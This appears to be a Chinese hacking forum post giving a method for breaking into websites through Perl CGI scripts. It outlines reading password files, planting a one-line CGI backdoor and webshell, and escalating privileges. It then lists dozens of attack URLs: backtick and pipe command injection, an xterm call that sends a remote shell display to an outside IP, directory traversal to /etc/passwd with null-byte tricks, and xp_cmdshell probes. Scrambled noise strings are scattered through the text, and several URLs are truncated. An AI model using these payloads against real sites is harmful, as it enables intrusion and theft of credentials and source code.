总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 8 x0 `4 A9 i/ u
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
& x! J6 A* W% j# J$ H5 o- Y$ w感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
4 s. i' p3 }" b* Z, T注“
! t3 Q* `, w3 X) z8 A4 fperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
3 U, G7 [) a1 \ A1 c+ Q以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET - l( {5 }: R d" q+ C4 m5 C
: r& T, X& u% ~+ S: v1 @http://target.com/cgi-bin/home/news/sub.pl?12 随意构造
. J$ b1 |* G% o/ qhttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 5 R" V3 {% r' I) ?6 Y
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
6 a2 }( _9 D( x8 L+ g+ Vhttp://target.com/cgi-bin/home/news/sub.pl?`id`
$ D9 d& c4 T ~http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
. B5 C& n4 W6 S' o4 m6 j% |7 n2 rhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
8 q3 a' P2 H9 I! W8 z0 j2 A8 U8 d5 ` |
http://target.com/test.pl;ls|
$ `; x* w0 y; _. Dhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| ' ~3 j4 ~/ W$ w
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
2 y& ^4 c& i+ q) g3 l8 bhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造 8 p5 ^* h9 S( h! M
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
. Z/ q& a& p9 o2 whttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
. J% j7 w( i! R! o: ~0 v1 [# ^4 u+ R# c( V. Z3 k- q! U3 J
http://target.com/test.pl?&........ /../../etc/passwd % }& t$ a. E% B# V
" U' h6 I+ I, y+ K2 d' C7 T1 p. Ihttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
) |, {: G& B4 i% N# `http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了 8 J* b3 N% z( a1 `; c5 B
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
$ i! T* u0 Z _' Q; }8 A' H( [* J0 e3 P1 o, `2 W1 m
http://www.target.org/show.php?f ... /include/config.php 查看php代码 & o% s; I* f3 u1 x2 g% E/ }
http://www.target.org/show.php?f ... ng/admin/global.php
2 Y5 o r/ ]; B$ J% D* r
7 ~2 w) O) O2 ?! k) a: J8 |3 demm和ps的一句话7 L/ Z9 g4 {9 e7 j) Z5 C" _
/ [% v4 I7 s7 x9 m; ohttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 / c7 G: H5 E% K
5 h$ p- J( u( E7 Z. o>bbb%20| & f- O# F7 P9 t* R7 Q O9 |7 S; I
- m0 A" x9 s" M' w2 `0 y& r5 U! ?
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 # W1 D5 k: X& Y2 D: p' }% V
2 F, @4 y7 U& ~$ H* l7 M) N+ whttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
& j5 i$ L% g8 `% V8 d8 Khttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin * J3 q7 x8 m Q; |( n2 \
9 _ @7 l& k! {. a3 C( H& O
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 2 H; F/ T: C4 _4 g. ^: v& f
http://target.com/index.html#cmd.exe
8 D3 T- F" \+ @+ M/ r3 vhttp://target.com/index.html?dummyparam=xp_cmdshell : Z3 d5 O- n9 Z
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd 1 o! V$ M# I0 \: \! e7 {
|